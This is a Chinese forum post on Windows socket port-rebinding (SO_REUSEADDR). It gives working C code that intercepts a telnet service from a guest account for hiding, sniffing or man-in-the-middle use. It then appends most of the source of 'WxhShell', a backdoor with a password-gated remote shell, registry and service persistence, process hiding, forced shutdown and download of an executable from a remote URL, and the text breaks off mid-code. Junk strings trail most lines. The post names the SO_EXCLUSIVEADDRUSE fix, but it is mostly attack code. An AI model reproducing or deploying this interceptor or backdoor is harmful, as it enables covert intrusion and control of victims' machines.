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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: TmLCmy!  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); F%o!+%&7  
4jTO:aPh_  
  saddr.sin_family = AF_INET; y-nv#Ejr  
SF+L-R<e  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Q~Mkf&s  
[O&}Qk  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 2p](`Y`  
0m*b9+q  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 p{LbTjdNc  
Q\kWQOB_  
  这意味着什么?意味着可以进行如下的攻击: >zX^*T#  
YlbX_h2S"  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 9GCK3  
C 4C /  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ^U5N!"6R  
}aE'  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 FsWp>}o  
WVpx  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Oj_]`  
/96lvn]8lO  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。  dV :}  
\u[}  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 [niFJI sc  
R3_OCM_*  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 VED~v#.c  
*w(n%f  
  #include t :YZua  
  #include GLecBF+>F  
  #include  2hF^U+I}  
  #include    TY %zw6 #p  
  DWORD WINAPI ClientThread(LPVOID lpParam);   bH/4f93Nb  
  int main() sYDav)L.  
  { u3O@ccJ;  
  WORD wVersionRequested;  mih}?oi  
  DWORD ret; Kq Jln)7  
  WSADATA wsaData; Lr:n  
  BOOL val; B//*hH >F  
  SOCKADDR_IN saddr; -+1O*L!  
  SOCKADDR_IN scaddr; )SJM:E  
  int err; tmS2%1o  
  SOCKET s; ( `bb1gz  
  SOCKET sc; $%DoLpE>  
  int caddsize; j]kgdAq>  
  HANDLE mt; )GVTa4}p  
  DWORD tid;   -F`GZ  
  wVersionRequested = MAKEWORD( 2, 2 ); NN'pBU R  
  err = WSAStartup( wVersionRequested, &wsaData ); |\uj(|  
  if ( err != 0 ) { P8X9bW~GQ  
  printf("error!WSAStartup failed!\n"); 'pIrwA^6N  
  return -1; /mz.HCs  
  } K |=o-  
  saddr.sin_family = AF_INET; z*jaA;#  
   ;y\/7E  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ) u{ ]rb[  
|=YK2};  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); U&])ow):  
  saddr.sin_port = htons(23); !;&\n3-W  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) hGV_K"~I0  
  { +W[f>3`VQ  
  printf("error!socket failed!\n"); }W:Z>vam+  
  return -1; 8,IF%Z+LI  
  } 5|~g2Zz{;  
  val = TRUE; qqZ4K:oC,  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 fTPm Fb  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) >Z_;ZMu)  
  { Sdmz (R  
  printf("error!setsockopt failed!\n"); PjBAf'  
  return -1; DVhBZ!u 9  
  } t adeG  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; +u$JMp  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Pv2uZH(  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 RN)XIf$@_  
9:@Xz5  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) {f`Y\_r$@  
  { ]j:k!=Ss?  
  ret=GetLastError(); MF'Z?M  
  printf("error!bind failed!\n"); yOEy3d=*  
  return -1; Za!KM  
  } `mteU"{bx  
  listen(s,2); 3>7{Q_5  
  while(1) auAz>6L  
  { MnFrQC  
  caddsize = sizeof(scaddr); hu0z 36  
  //接受连接请求 _J,rql@nG<  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); .qohHJ&  
  if(sc!=INVALID_SOCKET)  ;303fS  
  { cSYCMQ1ro  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); vv,<#4d  
  if(mt==NULL) QAxy?m,'  
  { %XukiA+  
  printf("Thread Creat Failed!\n"); e< @$(w  
  break; KPz0;2}  
  } BZ.l[LMp  
  } ${z#{c1  
  CloseHandle(mt); eC<RM Q4  
  } sjLMM_'  
  closesocket(s); OW};i|  
  WSACleanup(); Rl cL(HM  
  return 0; +%9Re5R  
  }   ui)mYR[8X  
  DWORD WINAPI ClientThread(LPVOID lpParam) Ix_w.f=8  
  { z{ eZsh b  
  SOCKET ss = (SOCKET)lpParam; jSvq1$U  
  SOCKET sc; f:\)! &W  
  unsigned char buf[4096]; $*X?]?  
  SOCKADDR_IN saddr; DjK7_'7(L  
  long num; ($<&H>j0  
  DWORD val; &1T)'Bn  
  DWORD ret; 3xz~##  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ?Ybq]J\q  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   RYvcuA)  
  saddr.sin_family = AF_INET; %,vq@..^  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); zdPJ>PNU  
  saddr.sin_port = htons(23); T;BFO5G@  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Lb Jf5xdi  
  { 2Cy,#X%j>  
  printf("error!socket failed!\n"); e)?}2  
  return -1; +$L}B-F  
  } m,kYE9 {  
  val = 100; ;\A_-a_(#  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) rQT%~oM:  
  { "aKlvK:77  
  ret = GetLastError(); >CrrxiG  
  return -1; +2:HgW  
  } N}nE9z5  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) O&/n BHu\  
  { >ryA:TO{  
  ret = GetLastError(); 2 ^"j]g>mj  
  return -1; ,(h -  
  } 1ED7 .#g  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) IfB .2e`  
  { Z}0{FwW"4  
  printf("error!socket connect failed!\n"); hC"'cUrcN  
  closesocket(sc); bR~Xog  
  closesocket(ss); F;`c0ja]  
  return -1; HFjSM~  
  } 8*b{8%<K  
  while(1) T&/ n.-@nk  
  { 2dHO!A$RF  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 I@VzH(da\  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 {Lv"wec*x  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 :F6dXW  
  num = recv(ss,buf,4096,0); dr"$@  
  if(num>0) i^:#*Q-co  
  send(sc,buf,num,0); a8)2I~j  
  else if(num==0) $ s1/Rmw  
  break; Q}\\0ajS)  
  num = recv(sc,buf,4096,0); q,7W,<-  
  if(num>0)  whw+  
  send(ss,buf,num,0); m.ka%h$  
  else if(num==0) r$4d4xtK  
  break; gp$]0~[tO  
  } 0OG 3#pE  
  closesocket(ss); *[ 0,QEy  
  closesocket(sc); 71E~~$  
  return 0 ; 0s//&'*Q  
  } Yg5o!A  
o` QH8  
 I*f@^(  
========================================================== ))dqC l  
'$p`3Oqi  
下边附上一个代码,,WXhSHELL ~kV>nx2  
/0k'w%V{n  
========================================================== }sqFvab<  
8q]"CFpa  
#include "stdafx.h" !.#g   
7]?y _%kT  
#include <stdio.h> <f}:YDY'  
#include <string.h> dEMv9"`*!  
#include <windows.h> `x?_yogPM  
#include <winsock2.h> eV(.\Lj  
#include <winsvc.h> ,ko#z}Z4r,  
#include <urlmon.h> X)j%v\#`U  
*B@#A4f"  
#pragma comment (lib, "Ws2_32.lib") ]b;a~Y0  
#pragma comment (lib, "urlmon.lib") ;{wzw8!  
t5b c Q@Y  
#define MAX_USER   100 // 最大客户端连接数 @kDY c8 t9  
#define BUF_SOCK   200 // sock buffer _-{=Z=?6}  
#define KEY_BUFF   255 // 输入 buffer 1+3-Z>^e  
3TjyKB *!  
#define REBOOT     0   // 重启 dzbbFvG  
#define SHUTDOWN   1   // 关机 ; m |N 9'  
kc$W"J@  
#define DEF_PORT   5000 // 监听端口 lBG=jOS  
xa_ IdkV  
#define REG_LEN     16   // 注册表键长度 9-{.WZ  
#define SVC_LEN     80   // NT服务名长度 v0&DD&mp  
:0%[u(  
// 从dll定义API dj] O  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ^Ar1V!PFk  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); D` cy.},L  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); U3]/ NV*   
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); mPPB"uQ  
PmsZ=FY  
// wxhshell配置信息 1xkk5\3]  
struct WSCFG { 9+ve0P7$  
  int ws_port;         // 监听端口 Sa)L=5Nr  
  char ws_passstr[REG_LEN]; // 口令 Z{%W!>0  
  int ws_autoins;       // 安装标记, 1=yes 0=no B/Q>i'e  
  char ws_regname[REG_LEN]; // 注册表键名 u#u/uS"  
  char ws_svcname[REG_LEN]; // 服务名 IAb.Z+ig  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 .& bc3cW  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 o:5mgf7  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 PQF 40g1}  
int ws_downexe;       // 下载执行标记, 1=yes 0=no qD"~5vtLqQ  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ODpAMt"  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 TL"+Iv2]/$  
@pJ;L1sn  
}; )9/iH(  
%( %EEt  
// default Wxhshell configuration ]{|l4e4P  
struct WSCFG wscfg={DEF_PORT, "\~>[on  
    "xuhuanlingzhe", M`=\ijUwN  
    1, oWDn_GnG`h  
    "Wxhshell", `T%nGVl>\  
    "Wxhshell", =*-a c  
            "WxhShell Service", LoJEchRK  
    "Wrsky Windows CmdShell Service", r da: ~  
    "Please Input Your Password: ", .;bU["fn)  
  1, b/T k$&  
  "http://www.wrsky.com/wxhshell.exe", pXQ$n:e  
  "Wxhshell.exe" (yEU9R$I"  
    }; ) .V,zmI  
X?r$o>db  
// 消息定义模块 0#Q]>V@rO4  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; $LU|wW  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Mz) r'  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; +WR'\15u   
char *msg_ws_ext="\n\rExit."; :zfMRg  
char *msg_ws_end="\n\rQuit."; VyIJ)F.c  
char *msg_ws_boot="\n\rReboot..."; K-.%1d@$y  
char *msg_ws_poff="\n\rShutdown..."; Q0 ezeo  
char *msg_ws_down="\n\rSave to "; d[;&2Jz*  
%[L/JJbP&Z  
char *msg_ws_err="\n\rErr!"; ??hKsjNAm0  
char *msg_ws_ok="\n\rOK!"; I&1.}{G>F  
X`E}2|q'  
char ExeFile[MAX_PATH]; {~\:4  
int nUser = 0; r|bGn#^  
HANDLE handles[MAX_USER]; Ka)aBU9  
int OsIsNt; 1csbuR?  
RWDPsZC  
SERVICE_STATUS       serviceStatus; H-m).^  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; JNvgUb'U  
B/~ubw  
// 函数声明 Gh3f^PWnc  
int Install(void); $b_~  
int Uninstall(void); YD~(l-?"  
int DownloadFile(char *sURL, SOCKET wsh); &d!ASa  
int Boot(int flag); Hp(41Eb,  
void HideProc(void); :q2RgZE  
int GetOsVer(void); 5Ktll~+:#  
int Wxhshell(SOCKET wsl); - ikq#L){  
void TalkWithClient(void *cs); m+pK,D~{"  
int CmdShell(SOCKET sock); WdJeh:h  
int StartFromService(void); Z\1`(Pq7`  
int StartWxhshell(LPSTR lpCmdLine); 0!axAvBV  
n:<Xp[;R  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); $['`H)z  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); QS,_=< (  
\D%n8O  
// 数据结构和表定义 OMjx,@9  
SERVICE_TABLE_ENTRY DispatchTable[] = PUd/|Rc/}  
{ u VUrg;>  
{wscfg.ws_svcname, NTServiceMain}, 0o.h{BN  
{NULL, NULL} xTZJ5iZ17  
}; i MS4<`  
7{rRQ~s&g9  
// 自我安装 S~g "  
int Install(void) $qoal   
{ VdL }$CX$  
  char svExeFile[MAX_PATH]; Kt"4<'  
  HKEY key; Us>n`Lj@  
  strcpy(svExeFile,ExeFile); ]h=y  
:`@W`V?6-  
// 如果是win9x系统,修改注册表设为自启动 W3MH8z   
if(!OsIsNt) { p5nrPL  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { tKi ^0vE8  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); <V8=*n"mR  
  RegCloseKey(key); qV$0 ";d  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { %we! J%'Y]  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ;O .;i,#Z  
  RegCloseKey(key); c-?0~A  
  return 0; ZmaW]3$  
    } dTU`@!f  
  } (b.Mtd  
} lqoVfj'6M  
else { w-wJhc|  
Ojp|/yd^YL  
// 如果是NT以上系统,安装为系统服务 iA"H*0  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); /'>ck2drjk  
if (schSCManager!=0) U}-hV@y  
{ s*>B"#En  
  SC_HANDLE schService = CreateService DK%@ [D  
  ( bde6 ;=oM  
  schSCManager, *+ O  
  wscfg.ws_svcname, o-AAx#@  
  wscfg.ws_svcdisp,  A1jA$  
  SERVICE_ALL_ACCESS, V#DNcF~v]f  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , O;#0Yg  
  SERVICE_AUTO_START, 4Rl~7|  
  SERVICE_ERROR_NORMAL, v)!^%D  
  svExeFile, H]0(GLvH  
  NULL,  ixF  
  NULL, 0n)UvJ  
  NULL, lR]SGdY  
  NULL, 7<F{a"5P  
  NULL f[$Z<:D-ve  
  ); WTC/mcS  
  if (schService!=0) oJ 0 #U  
  { w 1O)  
  CloseServiceHandle(schService); yjChnp Cc  
  CloseServiceHandle(schSCManager); zhACNz4tJ  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 7(zY:9|(  
  strcat(svExeFile,wscfg.ws_svcname); :\#/T,K"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ]=5D98B  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ~uO9>(?D  
  RegCloseKey(key); m\|ie8  
  return 0; RLF]Wa,  
    } be&,V_F  
  } p-%m/d?  
  CloseServiceHandle(schSCManager); ]. ^e[v6  
} 'n!Sco)C  
} 5'"9)#Ve  
#tt*yOmiH  
return 1; Ni61o?]Nj  
} mk?F+gh  
E njSio0  
// 自我卸载 </h}2x  
int Uninstall(void) z Q11dLjs  
{ .\AbE*lZ#  
  HKEY key; H:L<gv(rG  
=q*j". <  
if(!OsIsNt) { v6KF0mqA&  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { *5 S~@  
  RegDeleteValue(key,wscfg.ws_regname); nx`I9j\  
  RegCloseKey(key); -(![xZ1{K  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { kM@heFJb.  
  RegDeleteValue(key,wscfg.ws_regname); ^WIGd"^  
  RegCloseKey(key); JVNp= ikK  
  return 0; B#x.4~YX  
  } ;kF+V*  
} ~YrO>H` B  
} ' sTMUPg`  
else { *8xMe  
1"} u51  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 8|\?imOp\[  
if (schSCManager!=0) t9m08K:Y  
{ t>(}LV.  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); | D,->k  
  if (schService!=0) 7-MkfWH2b6  
  { AU^5N3%j  
  if(DeleteService(schService)!=0) { !qVnziE,,  
  CloseServiceHandle(schService); 8 gzf$Oc  
  CloseServiceHandle(schSCManager); p EbyQ[  
  return 0; S9S%7pE  
  } xy1R_*.F^T  
  CloseServiceHandle(schService); $<s 3;>t  
  } %C(^v)"  
  CloseServiceHandle(schSCManager); si3@R?WR6*  
} =G%L:m*  
} XVkCYh4,  
Kh2!c+Mw  
return 1; );5H<[  
} kG$U  
vTUhIFa{  
// 从指定url下载文件 H~r":A'"*  
int DownloadFile(char *sURL, SOCKET wsh) Lkl ^ `  
{ rnTjw "%  
  HRESULT hr; $y+Bril5W  
char seps[]= "/"; o@tc   
char *token; <;nhb  
char *file; [&a=vE  
char myURL[MAX_PATH]; YhNO{4D  
char myFILE[MAX_PATH]; l^E)XWd  
c0u1L@tj  
strcpy(myURL,sURL); "AUHe6Yv  
  token=strtok(myURL,seps); .=<<b|  
  while(token!=NULL) $fl+l5?9  
  {  a EmLf  
    file=token; ,fW%Qv  
  token=strtok(NULL,seps); C{8(ew  
  } /L? ia  
2io~pk>  
GetCurrentDirectory(MAX_PATH,myFILE); MF/@Efjn ]  
strcat(myFILE, "\\"); @fG 'X  
strcat(myFILE, file); rW B/#m  
  send(wsh,myFILE,strlen(myFILE),0); Dk`(Wgk2  
send(wsh,"...",3,0); eJwHeG  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); *3]_Huw<  
  if(hr==S_OK) vX/("[  
return 0; b;%>?U`>p  
else :927y  
return 1; =S:Snk%  
R;EdYbiF b  
} Y('?Z]  
,@4~:OY  
// 系统电源模块 \RDS~u\d  
int Boot(int flag) C4^o= 6{  
{ 6#DDMP8;I  
  HANDLE hToken; UCVdR<<Z  
  TOKEN_PRIVILEGES tkp; ==)q{e5  
Yb;$z'  
  if(OsIsNt) { XdxSi"+  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); >qC,IQ'  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); _[t:Vme}v  
    tkp.PrivilegeCount = 1; 7@uhw">mX  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; @Xg5 E  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 9B<aYp)  
if(flag==REBOOT) { KoKd.%  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) G=l-S\0@  
  return 0; YecV+ K'p:  
} ;dVYR=l  
else { FEwPLViso  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) {kNV|E  
  return 0; N(=Z4Nk5  
} ap|$8 G  
  } T_/ n#e  
  else { 0l+[[ZTV  
if(flag==REBOOT) { H4"'&A7$  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ~duF2m 72  
  return 0; !rZ r:@  
} 5l[&-: (Lh  
else { ,Vr-E  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) zqt{oN_  
  return 0; Sahz*f  
} 9qvKg`YSh  
} r: -,qy  
% "CF-K@th  
return 1; f'?FYBL  
} *9O@DF&*6  
<b#1L  
// win9x进程隐藏模块 @Z2^smf  
void HideProc(void) U~1)a(Yu;  
{ ) o`ep{<t  
g`\5!R1  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); `b?o%5V2x  
  if ( hKernel != NULL ) hYB3tT  
  { &.1qixXIr  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); N/6! |F  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ^Cy=L]  
    FreeLibrary(hKernel); s@D/.X  
  } uyDPWnYk  
^n~bx *f  
return; 1'4?}0Dok  
} +LwwI*;b  
_{&bmE  
// 获取操作系统版本 L~|_CRw  
int GetOsVer(void) @<`P-+m  
{ #G!\MYfQt  
  OSVERSIONINFO winfo; 0"J0JcFX  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);  BDfJ  
  GetVersionEx(&winfo); Ym|%ka  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) E)F#Z=)  
  return 1; \zLKSJ]  
  else [PX%p ;"D  
  return 0; zw[ #B #  
} as3*49^9  
;:obg/;uJ  
// 客户端句柄模块 Tnoy#w}Ve  
int Wxhshell(SOCKET wsl) 7&&3@96<*#  
{ h,|. qfUk  
  SOCKET wsh; >["X( %&w  
  struct sockaddr_in client; *b8AN3!  
  DWORD myID; K(r@JW  
*3\N j6  
  while(nUser<MAX_USER) vR4omB{  
{ 7!/!a*zg  
  int nSize=sizeof(client); e?_uJh"  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); = P$Q;d  
  if(wsh==INVALID_SOCKET) return 1; zmhL[1qj  
zS*vKyye>  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); #Q` TH<  
if(handles[nUser]==0) +vt?3i\^.  
  closesocket(wsh); ~@mNR^W-W  
else ^C'{# p"  
  nUser++; Qo\?(E M  
  } "</A) y&  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); of8 >xvE|  
]w_JbFmT  
  return 0; QD^q\9U[  
} (;9j#x  
hip't@.uE  
// 关闭 socket %l[]n;*$  
void CloseIt(SOCKET wsh) sA2esA@C<o  
{ . ZP$,  
closesocket(wsh); lk.Mc6)  
nUser--; bT15jNa  
ExitThread(0); u0F{.fe  
} MO%+rf0~w  
9#E)H?`g  
// 客户端请求句柄 |[!7^tU*  
void TalkWithClient(void *cs) 5Nl?Km~  
{ <w3_EO  
!v. <H]s)  
  SOCKET wsh=(SOCKET)cs; lYT_Y.%I  
  char pwd[SVC_LEN]; MY'T%_i d  
  char cmd[KEY_BUFF]; B?l 0u  
char chr[1]; C#n.hgo>I  
int i,j; tMH 2  
M|fC2[]v B  
  while (nUser < MAX_USER) { B`)TRt+'.  
\aN7[>R.Q  
if(wscfg.ws_passstr) { *alifdp  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {Z1KU8tp  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); rvuasr~  
  //ZeroMemory(pwd,KEY_BUFF); =q}Z2 OoYh  
      i=0; Rj3ad3z'E  
  while(i<SVC_LEN) { KAgxIz!^-1  
|$g} &P8;  
  // 设置超时 *!pn6OJ"Q}  
  fd_set FdRead; qOv`&%txW  
  struct timeval TimeOut; >X xHp  
  FD_ZERO(&FdRead); @r=,: 'Mt  
  FD_SET(wsh,&FdRead); KM?w{ ~9  
  TimeOut.tv_sec=8; -S#jOr  
  TimeOut.tv_usec=0; 3_8W5J3I  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); E24j(>   
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); i.{.koH<  
6O_l;A[=1  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); NOmFQ)/ &  
  pwd=chr[0]; nNf*Q r%Z  
  if(chr[0]==0xd || chr[0]==0xa) { *7w!~mn[m  
  pwd=0; aNBwb9X  
  break; qu&p)*M5  
  } $]rC-K:Z  
  i++; NQA2usb  
    } =]S,p7*7  
B(f_~]  
  // 如果是非法用户,关闭 socket +j %y#_~  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); A76H M@Q  
} %aV~RB#  
^1yD&i'q  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ;iW>i8  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); M%WO  
j2%fAs<  
while(1) { @}2EEo#  
51tZ:-1!  
  ZeroMemory(cmd,KEY_BUFF); |{JI=$  
|w+ O.%=  
      // 自动支持客户端 telnet标准   KciN"g|X  
  j=0; |h&Z.  
  while(j<KEY_BUFF) { yb,X }"Et  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); vR&b2G7o  
  cmd[j]=chr[0];  !# zO%  
  if(chr[0]==0xa || chr[0]==0xd) { KcUR /o5K  
  cmd[j]=0; 9Y@ eXP  
  break; >.I9S{7  
  } uA V7T/'  
  j++; WrS>^\:  
    } q\-P/aN_  
F]fXS-@ c  
  // 下载文件 {u+=K-Bj  
  if(strstr(cmd,"http://")) { [ . }Uzx  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); xz, o Mlw  
  if(DownloadFile(cmd,wsh)) U1(cBY  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); v!$:t<-5N  
  else mT #A?C2  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); E]}_hZU  
  } t1G__5wp  
  else { 0wCQPvO  
|3^U\r^zo  
    switch(cmd[0]) { r-*j"1 e  
  fz A Fn$[  
  // 帮助 x6^Y&,y9kU  
  case '?': { @AM11v\:  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); OL%}C*Zq  
    break; 4H NaE{O4  
  } B]vR=F}*  
  // 安装 *;xGH  
  case 'i': { kBxEp/y  
    if(Install()) W 1u!&:O  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); v*&j A 8D  
    else Y`#6MhFT7  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); pmOUl 8y4  
    break; 9aNOfs8(  
    } (#Xs\IEVF  
  // 卸载 =z]rZSq*o  
  case 'r': { &H P g>  
    if(Uninstall()) |sY  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )0DgFA6k_  
    else q#SEtyJL  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3=^)=yOd  
    break; bWSc&/ 9y  
    } 9 )!}  
  // 显示 wxhshell 所在路径 |28'<BL  
  case 'p': { ,i Y:#E  
    char svExeFile[MAX_PATH];  axDa&7%  
    strcpy(svExeFile,"\n\r"); >rJ**y  
      strcat(svExeFile,ExeFile); cGR)$:  
        send(wsh,svExeFile,strlen(svExeFile),0); #C~ </R%  
    break; w/"vf3}(9  
    } \.}ZvM$  
  // 重启 %H;}+U]Z  
  case 'b': { 8a&c=9  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); `6lOqH  
    if(Boot(REBOOT)) hlZ{bO 'f  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); IC(:RtJ  
    else { H  XFY  
    closesocket(wsh); z&B9Yu4M7  
    ExitThread(0); k14<E /  
    } N  /'  
    break; .ZV='i()X  
    } j S[#R_  
  // 关机 >*opEI+  
  case 'd': { Qc)i?Z'6  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Dy>6L79G  
    if(Boot(SHUTDOWN)) Jm#p!G+  
